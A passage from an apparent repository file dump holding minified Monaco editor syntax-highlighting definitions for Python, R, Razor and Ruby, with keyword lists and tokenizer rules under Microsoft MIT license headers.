strict\";Object.defineProperty(s,\"__esModule\",{value:!0}),s.conf={comments:{lineComment:\"#\",blockComment:[\"'''\",\"'''\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"',notIn:[\"string\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},s.language={defaultToken:\"\",tokenPostfix:\".python\",keywords:[\"and\",\"as\",\"assert\",\"break\",\"class\",\"continue\",\"def\",\"del\",\"elif\",\"else\",\"except\",\"exec\",\"finally\",\"for\",\"from\",\"global\",\"if\",\"import\",\"in\",\"is\",\"lambda\",\"None\",\"not\",\"or\",\"pass\",\"print\",\"raise\",\"return\",\"self\",\"try\",\"while\",\"with\",\"yield\",\"int\",\"float\",\"long\",\"complex\",\"hex\",\"abs\",\"all\",\"any\",\"apply\",\"basestring\",\"bin\",\"bool\",\"buffer\",\"bytearray\",\"callable\",\"chr\",\"classmethod\",\"cmp\",\"coerce\",\"compile\",\"complex\",\"delattr\",\"dict\",\"dir\",\"divmod\",\"enumerate\",\"eval\",\"execfile\",\"file\",\"filter\",\"format\",\"frozenset\",\"getattr\",\"globals\",\"hasattr\",\"hash\",\"help\",\"id\",\"input\",\"intern\",\"isinstance\",\"issubclass\",\"iter\",\"len\",\"locals\",\"list\",\"map\",\"max\",\"memoryview\",\"min\",\"next\",\"object\",\"oct\",\"open\",\"ord\",\"pow\",\"print\",\"property\",\"reversed\",\"range\",\"raw_input\",\"reduce\",\"reload\",\"repr\",\"reversed\",\"round\",\"set\",\"setattr\",\"slice\",\"sorted\",\"staticmethod\",\"str\",\"sum\",\"super\",\"tuple\",\"type\",\"unichr\",\"unicode\",\"vars\",\"xrange\",\"zip\",\"True\",\"False\",\"__dict__\",\"__methods__\",\"__members__\",\"__class__\",\"__bases__\",\"__name__\",\"__mro__\",\"__subclasses__\",\"__init__\",\"__import__\"],brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.bracket\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"}],tokenizer:{root:[{include:\"@whitespace\"},{include:\"@numbers\"},{include:\"@strings\"},[/[,:;]/,\"delimiter\"],[/[{}\\[\\]()]/,\"@brackets\"],[/@[a-zA-Z]\\w*/,\"tag\"],[/[a-zA-Z]\\w*/,{cases:{\"@keywords\":\"keyword\",\"@default\":\"identifier\"}}]],whitespace:[[/\\s+/,\"white\"],[/(^#.*$)/,\"comment\"],[/('''.*''')|(\"\"\".*\"\"\")/,\"string\"],[/'''.*$/,\"string\",\"@endDocString\"],[/\"\"\".*$/,\"string\",\"@endDblDocString\"]],endDocString:[[/\\\\'/,\"string\"],[/.*'''/,\"string\",\"@popall\"],[/.*$/,\"string\"]],endDblDocString:[[/\\\\\"/,\"string\"],[/.*\"\"\"/,\"string\",\"@popall\"],[/.*$/,\"string\"]],numbers:[[/-?0x([abcdef]|[ABCDEF]|\\d)+[lL]?/,\"number.hex\"],[/-?(\\d*\\.)?\\d+([eE][+\\-]?\\d+)?[jJ]?[lL]?/,\"number\"]],strings:[[/'$/,\"string.escape\",\"@popall\"],[/'/,\"string.escape\",\"@stringBody\"],[/\"$/,\"string.escape\",\"@popall\"],[/\"/,\"string.escape\",\"@dblStringBody\"]],stringBody:[[/\\\\./,\"string\"],[/'/,\"string.escape\",\"@popall\"],[/.(?=.*')/,\"string\"],[/.*\\\\$/,\"string\"],[/.*$/,\"string\",\"@popall\"]],dblStringBody:[[/\\\\./,\"string\"],[/\"/,\"string.escape\",\"@popall\"],[/.(?=.*\")/,\"string\"],[/.*\\\\$/,\"string\"],[/.*$/,\"string\",\"@popall\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/r.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/r\",[\"require\",\"exports\"],function(e,o){\"use strict\";Object.defineProperty(o,\"__esModule\",{value:!0}),o.conf={comments:{lineComment:\"#\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'}]},o.language={defaultToken:\"\",tokenPostfix:\".r\",roxygen:[\"@param\",\"@return\",\"@name\",\"@rdname\",\"@examples\",\"@include\",\"@docType\",\"@S3method\",\"@TODO\",\"@aliases\",\"@alias\",\"@assignee\",\"@author\",\"@callGraphDepth\",\"@callGraph\",\"@callGraphPrimitives\",\"@concept\",\"@exportClass\",\"@exportMethod\",\"@exportPattern\",\"@export\",\"@formals\",\"@format\",\"@importClassesFrom\",\"@importFrom\",\"@importMethodsFrom\",\"@import\",\"@keywords\",\"@method\",\"@nord\",\"@note\",\"@references\",\"@seealso\",\"@setClass\",\"@slot\",\"@source\",\"@title\",\"@usage\"],constants:[\"NULL\",\"FALSE\",\"TRUE\",\"NA\",\"Inf\",\"NaN \",\"NA_integer_\",\"NA_real_\",\"NA_complex_\",\"NA_character_ \",\"T\",\"F\",\"LETTERS\",\"letters\",\"month.abb\",\"month.name\",\"pi\",\"R.version.string\"],keywords:[\"break\",\"next\",\"return\",\"if\",\"else\",\"for\",\"in\",\"repeat\",\"while\",\"array\",\"category\",\"character\",\"complex\",\"double\",\"function\",\"integer\",\"list\",\"logical\",\"matrix\",\"numeric\",\"vector\",\"data.frame\",\"factor\",\"library\",\"require\",\"attach\",\"detach\",\"source\"],special:[\"\\\\n\",\"\\\\r\",\"\\\\t\",\"\\\\b\",\"\\\\a\",\"\\\\f\",\"\\\\v\",\"\\\\'\",'\\\\\"',\"\\\\\\\\\"],brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.bracket\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"}],tokenizer:{root:[{include:\"@numbers\"},{include:\"@strings\"},[/[{}\\[\\]()]/,\"@brackets\"],{include:\"@operators\"},[/#'/,\"comment.doc\",\"@roxygen\"],[/(^#.*$)/,\"comment\"],[/\\s+/,\"white\"],[/[,:;]/,\"delimiter\"],[/@[a-zA-Z]\\w*/,\"tag\"],[/[a-zA-Z]\\w*/,{cases:{\"@keywords\":\"keyword\",\"@constants\":\"constant\",\"@default\":\"identifier\"}}]],roxygen:[[/@\\w+/,{cases:{\"@roxygen\":\"tag\",\"@eos\":{token:\"comment.doc\",next:\"@pop\"},\"@default\":\"comment.doc\"}}],[/\\s+/,{cases:{\"@eos\":{token:\"comment.doc\",next:\"@pop\"},\"@default\":\"comment.doc\"}}],[/.*/,{token:\"comment.doc\",next:\"@pop\"}]],numbers:[[/0[xX][0-9a-fA-F]+/,\"number.hex\"],[/-?(\\d*\\.)?\\d+([eE][+\\-]?\\d+)?/,\"number\"]],operators:[[/<{1,2}-/,\"operator\"],[/->{1,2}/,\"operator\"],[/%[^%\\s]+%/,\"operator\"],[/\\*\\*/,\"operator\"],[/%%/,\"operator\"],[/&&/,\"operator\"],[/\\|\\|/,\"operator\"],[/<</,\"operator\"],[/>>/,\"operator\"],[/[-+=&|!<>^~*/:$]/,\"operator\"]],strings:[[/'/,\"string.escape\",\"@stringBody\"],[/\"/,\"string.escape\",\"@dblStringBody\"]],stringBody:[[/\\\\./,{cases:{\"@special\":\"string\",\"@default\":\"error-token\"}}],[/'/,\"string.escape\",\"@popall\"],[/./,\"string\"]],dblStringBody:[[/\\\\./,{cases:{\"@special\":\"string\",\"@default\":\"error-token\"}}],[/\"/,\"string.escape\",\"@popall\"],[/./,\"string\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/razor.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/razor\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=\"undefined\"==typeof monaco?self.monaco:monaco,o=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"menuitem\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"];t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\$\\^\\&\\*\\(\\)\\-\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\s]+)/g,comments:{blockComment:[\"\\x3c!--\",\"--\\x3e\"]},brackets:[[\"\\x3c!--\",\"--\\x3e\"],[\"<\",\">\"],[\"{\",\"}\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:'\"',close:'\"'},{open:\"'\",close:\"'\"},{open:\"<\",close:\">\"}],onEnterRules:[{beforeText:new RegExp(\"<(?!(?:\"+o.join(\"|\")+\"))(\\\\w[\\\\w\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),afterText:/^<\\/(\\w[\\w\\d]*)\\s*>$/i,action:{indentAction:r.languages.IndentAction.IndentOutdent}},{beforeText:new RegExp(\"<(?!(?:\"+o.join(\"|\")+\"))(\\\\w[\\\\w\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),action:{indentAction:r.languages.IndentAction.Indent}}]},t.language={defaultToken:\"\",tokenPostfix:\"\",tokenizer:{root:[[/@@/],[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.root\"}],[/<!DOCTYPE/,\"metatag.html\",\"@doctype\"],[/<!--/,\"comment.html\",\"@comment\"],[/(<)(\\w+)(\\/>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/(<)(script)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@script\"}]],[/(<)(style)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@style\"}]],[/(<)([:\\w]+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/(<\\/)(\\w+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/</,\"delimiter.html\"],[/[ \\t\\r\\n]+/],[/[^<@]+/]],doctype:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.comment\"}],[/[^>]+/,\"metatag.content.html\"],[/>/,\"metatag.html\",\"@pop\"]],comment:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.comment\"}],[/-->/,\"comment.html\",\"@pop\"],[/[^-]+/,\"comment.content.html\"],[/./,\"comment.content.html\"]],otherTag:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.otherTag\"}],[/\\/?>/,\"delimiter.html\",\"@pop\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/]],script:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.script\"}],[/type/,\"attribute.name\",\"@scriptAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(script\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],scriptAfterType:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.scriptAfterType\"}],[/=/,\"delimiter\",\"@scriptAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptAfterTypeEquals:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.scriptAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptWithCustomType:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.scriptWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptEmbedded:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInEmbeddedState.scriptEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/script/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],style:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.style\"}],[/type/,\"attribute.name\",\"@styleAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(style\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],styleAfterType:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.styleAfterType\"}],[/=/,\"delimiter\",\"@styleAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleAfterTypeEquals:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.styleAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleWithCustomType:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInSimpleState.styleWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleEmbedded:[[/@[^@]/,{token:\"@rematch\",switchTo:\"@razorInEmbeddedState.styleEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/style/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],razorInSimpleState:[[/@\\*/,\"comment.cs\",\"@razorBlockCommentTopLevel\"],[/@[{(]/,\"metatag.cs\",\"@razorRootTopLevel\"],[/(@)(\\s*[\\w]+)/,[\"metatag.cs\",{token:\"identifier.cs\",switchTo:\"@$S2.$S3\"}]],[/[})]/,{token:\"metatag.cs\",switchTo:\"@$S2.$S3\"}],[/\\*@/,{token:\"comment.cs\",switchTo:\"@$S2.$S3\"}]],razorInEmbeddedState:[[/@\\*/,\"comment.cs\",\"@razorBlockCommentTopLevel\"],[/@[{(]/,\"metatag.cs\",\"@razorRootTopLevel\"],[/(@)(\\s*[\\w]+)/,[\"metatag.cs\",{token:\"identifier.cs\",switchTo:\"@$S2.$S3\",nextEmbedded:\"$S3\"}]],[/[})]/,{token:\"metatag.cs\",switchTo:\"@$S2.$S3\",nextEmbedded:\"$S3\"}],[/\\*@/,{token:\"comment.cs\",switchTo:\"@$S2.$S3\",nextEmbedded:\"$S3\"}]],razorBlockCommentTopLevel:[[/\\*@/,\"@rematch\",\"@pop\"],[/[^*]+/,\"comment.cs\"],[/./,\"comment.cs\"]],razorBlockComment:[[/\\*@/,\"comment.cs\",\"@pop\"],[/[^*]+/,\"comment.cs\"],[/./,\"comment.cs\"]],razorRootTopLevel:[[/\\{/,\"delimiter.bracket.cs\",\"@razorRoot\"],[/\\(/,\"delimiter.parenthesis.cs\",\"@razorRoot\"],[/[})]/,\"@rematch\",\"@pop\"],{include:\"razorCommon\"}],razorRoot:[[/\\{/,\"delimiter.bracket.cs\",\"@razorRoot\"],[/\\(/,\"delimiter.parenthesis.cs\",\"@razorRoot\"],[/\\}/,\"delimiter.bracket.cs\",\"@pop\"],[/\\)/,\"delimiter.parenthesis.cs\",\"@pop\"],{include:\"razorCommon\"}],razorCommon:[[/[a-zA-Z_]\\w*/,{cases:{\"@razorKeywords\":{token:\"keyword.cs\"},\"@default\":\"identifier.cs\"}}],[/[\\[\\]]/,\"delimiter.array.cs\"],[/[ \\t\\r\\n]+/],[/\\/\\/.*$/,\"comment.cs\"],[/@\\*/,\"comment.cs\",\"@razorBlockComment\"],[/\"([^\"]*)\"/,\"string.cs\"],[/'([^']*)'/,\"string.cs\"],[/(<)(\\w+)(\\/>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/(<)(\\w+)(>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/(<\\/)(\\w+)(>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/[\\+\\-\\*\\%\\&\\|\\^\\~\\!\\=\\<\\>\\/\\?\\;\\:\\.\\,]/,\"delimiter.cs\"],[/\\d*\\d+[eE]([\\-+]?\\d+)?/,\"number.float.cs\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float.cs\"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F]/,\"number.hex.cs\"],[/0[0-7']*[0-7]/,\"number.octal.cs\"],[/0[bB][0-1']*[0-1]/,\"number.binary.cs\"],[/\\d[\\d']*/,\"number.cs\"],[/\\d/,\"number.cs\"]]},razorKeywords:[\"abstract\",\"as\",\"async\",\"await\",\"base\",\"bool\",\"break\",\"by\",\"byte\",\"case\",\"catch\",\"char\",\"checked\",\"class\",\"const\",\"continue\",\"decimal\",\"default\",\"delegate\",\"do\",\"double\",\"descending\",\"explicit\",\"event\",\"extern\",\"else\",\"enum\",\"false\",\"finally\",\"fixed\",\"float\",\"for\",\"foreach\",\"from\",\"goto\",\"group\",\"if\",\"implicit\",\"in\",\"int\",\"interface\",\"internal\",\"into\",\"is\",\"lock\",\"long\",\"nameof\",\"new\",\"null\",\"namespace\",\"object\",\"operator\",\"out\",\"override\",\"orderby\",\"params\",\"private\",\"protected\",\"public\",\"readonly\",\"ref\",\"return\",\"switch\",\"struct\",\"sbyte\",\"sealed\",\"short\",\"sizeof\",\"stackalloc\",\"static\",\"string\",\"select\",\"this\",\"throw\",\"true\",\"try\",\"typeof\",\"uint\",\"ulong\",\"unchecked\",\"unsafe\",\"ushort\",\"using\",\"var\",\"virtual\",\"volatile\",\"void\",\"when\",\"while\",\"where\",\"yield\",\"model\",\"inject\"],escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/ruby.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/ruby\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{lineComment:\"#\",blockComment:[\"=begin\",\"=end\"]},brackets:[[\"(\",\")\"],[\"{\",\"}\"],[\"[\",\"]\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={tokenPostfix:\".ruby\",keywords:[\"__LINE__\",\"__ENCODING__\",\"__FILE__\",\"BEGIN\",\"END\",\"alias\",\"and\",\"begin\",\"break\",\"case\",\"class\",\"def\",\"defined?\",\"do\",\"else\",\"elsif\",\"end\",\"ensure\",\"for\",\"false\",\"if\",\"in\",\"module\",\"next\",\"nil\",\"not\",\"or\",\"redo\",\"rescue\",\"retry\",\"return\",\"self\",\"super\",\"then\",\"true\",\"undef\",\"unless\",\"until\",\"when\",\"while\",\"yield\"],keywordops:[\"::\",\"..\",\"...\",\"?\",\":\",\"=>\"],builtins:[\"require\",\"public\",\"private\",\"include\",\"extend\",\"attr_reader\",\"protected\",\"private_class_method\",\"protected_class_method\",\"new\"],declarations:[\"module\",\"class\",\"def\",\"case\",\"do\",\"begin\",\"for\",\"if\",\"while\",\"until\",\"unless\"],linedecls:[\"def\",\"case\",\"do\",\"begin\",\"for\",\"if\",\"while\",\"until\",\"unless\"],operators:[\"^\",\"&\",\"|\",\"<=>\",\"==\",\"===\",\"!~\",\"=~\",\">\",\">=\",\"<\",\"<=\",\"<<\",\">>\",\"+\",\"-\",\"*\",\"/\",\"%\",\"**\",\"~\",\"+@\",\"-@\",\"[]\",\"[]=\",\"`\",\"+=\",\"-=\",\"*=\",\"**=\",\"/=\",\"^=\",\"%=\",\"<<=\",\">>=\",\"&=\",\"&&=\",\"||=\",\"|=\"],brackets:[{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.square\"}],symbols:/[=><!~?:&|+\\-*\\/\\^%\\.]+/,escape:/(?:[abefnrstv\\\\\"'\\n\\r]|[0-7]{1,3}|x[0-9A-Fa-f]{1,2}|u[0-9A-Fa-f]{4})/,escapes:/\\\\(?:C\\-(@escape|.)|c(@escape|.)|@escape)/,decpart:/\\d(_?\\d)*/,decimal:/0|@decpart/,delim:/[^a-zA-Z0-9\\s\\n\\r]/,heredelim:/(?:\\w+|'[^']*'|\"[^\"]*\"|`[^`]*`)/,regexpctl:/[(){}\\[\\]\\$\\^|\\-*+?\\.]/,regexpesc:/\\\\(?:[AzZbBdDfnrstvwWn0\\\\\\/]|@regexpctl|c[A-Z]|x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})?/,tokenizer:{root:[[/^(\\s*)([a-z_]\\w*[!?=]?)/,[\"white\",{cases:{\"for|until|while\":{token:\"keyword.$2\",next:\"@dodecl.$2\"},\"@declarations\":{token:\"keyword.$2\",next:\"@root.$2\"},end:{token:\"keyword.$S2\",next:\"@pop\"},\"@keywords\":\"keyword\",\"@builtins\":\"predefined\",\"@default\":\"identifier\"}}]],[/[a-z_]\\w*[!?=]?/,{cases:{\"if|unless|while|until\":{token:\"keyword.$0x\",next:\"@modifier.$0x\"},for:{token:\"keyword.$2\",next:\"@dodecl.$2\"},\"@linedecls\":{token:\"keyword.$0\",next:\"@root.$0\"},end:{token:\"keyword.$S2\",next:\"@pop\"},\"@keywords\":\"keyword\",\"@builtins\":\"predefined\",\"@default\":\"identifier\"}}],[/[A-Z][\\w]*[!?=]?/,\"constructor.identifier\"],[/\\$[\\w]*/,\"global.constant\"],[/@[\\w]*/,\"namespace.instance.identifier\"],[/@@[\\w]*/,\"namespace.class.identifier\"],[/<<-(@heredelim).*/,{token:\"string.heredoc.delimiter\",next:\"@heredoc.$1\"}],[/[ \\t\\r\\n]+<<(@heredelim).*/,{token:\"string.heredoc.delimiter\",next:\"@heredoc.$1\"}],[/^<<(@heredelim).*/,{token:\"string.heredoc.delimiter\",next:\"@heredoc.$1\"}],{include:\"@whitespace\"},[/\"/,{token:\"string.d.delim\",next:'@dstring.d.\"'}],[/'/,{token:\"string.sq.delim\",next:\"@sstring.sq\"}],[/%([rsqxwW]|Q?)/,{token:\"@rematch\",next:\"pstring\"}],[/`/,{token:\"string.x.delim\",next:\"@dstring.x.`\"}],[/:(\\w|[$@])\\w*[!?=]?/,\"string.s\"],[/:\"/,{token:\"string.s.delim\",next:'@dstring.s.\"'}],[/:'/,{token:\"string.s.delim\",next:\"@sstring.s\"}],[/\\/(?=(\\\\\\/|[^\\/\\n])+\\/)/,{token:\"regexp.delim\",next:\"@regexp\"}],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,{cases:{\"@keywordops\":\"keyword\",\"@operators\":\"operator\",\"@default\":\"\"}}],[/[;,]/,\"delimiter\"],[/0[xX][0-9a-fA-F](_?[0-9a-fA-F])*/,\"number.hex\"],[/0[_oO][0-7](_?[0-7])*/,\"number.octal\"],[/0[bB][01](_?[01])*/,\"number.binary\"],[/0[dD]@decpart/,\"number\"],[/@decimal((\\.@decpart)?([eE][\\-+]?@decpart)?)/,{cases:{$1:\"number.float\",\"@default\":\"number\"}}]],dodecl:[[/^/,{token:\"\",switchTo:\"@root.$S2\"}],[/[a-z_]\\w*[!?=]?/,{cases:{end:{token:\"keyword.$S2\",next:\"@pop\"},do:{token:\"keyword\",switchTo:\"@root.$S2\"},\"@linedecls\":{token:\"@rematch\",switchTo:\"@root.$S2\"},\"@keywords\":\"keyword\",\"@builtins\":\"predefined\",\"@default\":\"identifier\"}}],{include:\"@root\"}],modifier:[[/^/,\"\",\"@pop\"],[/[a-z_]\\w*[!?=]?/,{cases:{end:{token:\"keyword.$S2\",next:\"@pop\"},\"then|else|elsif|do\":{token:\"keyword\",switchTo:\"@root.$S2\"},\"@linedecls\":{token:\"@rematch\",switchTo:\"@root.$S2\"},\"@keywords\":\"keyword\",\"@builtins\":\"predefined\",\"@default\":\"identifier\"}}],{include:\"@root\"}],sstring:[[/[^\\\\']+/,\"string.$S2\"],[/\\\\\\\\|\\\\'|\\\\$/,\"string.$S2.escape\"],[/\\\\./,\"string.$S2.invalid\"],[/'/,{token:\"string.$S2.delim\",next:\"@pop\"}]],dstring:[[/[^\\\\`\"#]+/,\"string.$S2\"],[/#/,\"string.$S2.escape\",\"@interpolated\"],[/\\\\$/,\"string.$S2.escape\"],[/@escapes/,\"string.$S2.escape\"],[/\\\\./,\"string.$S2.escape.invalid\"],[/[`\"]/,{cases:{\"$#==$S3\":{token:\"string.$S2.delim\",next:\"@pop\"},\"@default\":\"string.$S2\"}}]],heredoc:[[/^(\\s*)(@heredelim)$/,{cases:{\"$2==$S2\":[\"string.heredoc\",{token:\"string.heredoc.delimiter\",next:\"@pop\"}],\"@default\":[\"string.heredoc\",\"string.heredoc\"]}}],[/.*/,\"string.heredoc\"]],interpolated:[[/\\$\\w*/,\"global.constant\",\"@pop\"],[/@\\w*/,\"namespace.class.identifier\",\"@pop\"],[/@@\\w*/,\"namespace.instance.identifier\",\"@pop\"],[/[{]/,{token:\"string.escape.curly\",switchTo:\"@interpolated_compound\"}],[\"\",\"\",\"@pop\"]],interpolated_compound:[[/[}]/,{token:\"string.escape.curly\",next:\"@pop\"}],{include:\"@root\"}],pregexp:[{include:\"@whitespace\"},[/[^\\(\\{\\[\\\\]/,{cases:{\"$#==$S3\":{token:\"regexp.delim\",next:\"@pop\"},\"$#==$S2\":{token:\"regexp.delim\",next:\"@push\"},\"~[)}\\\\]]\":\"@brackets.regexp.escape.control\",\"~@regexpctl\":\"regexp.escape.control\",\"@default\":\"regexp\"}}],{include:\"@regexcontrol\"}],regexp:[{include:\"@regexcontrol\"},[/[^\\\\\\/]/,\"regexp\"],[\"/[ixmp]*\",{token:\"regexp.delim\"},\"@pop\"]],regexcontrol:[[/(\\{)(\\d+(?:,\\d*)?)(\\})/,[\"@brackets.regexp.escape.control\",\"regexp.escape.control\",\"@brackets.regexp.escape.control\"]],[/(\\[)(\\^?)/,[\"@brackets.regexp.escape.control\",{token:\"regexp.escape.control\",next:\"@regexrange\"}]],[/(\\()(\\?[:=!])/,[\"@brackets.regexp.escape.control\",\"regexp.escape.control\"]],[/\\(\\?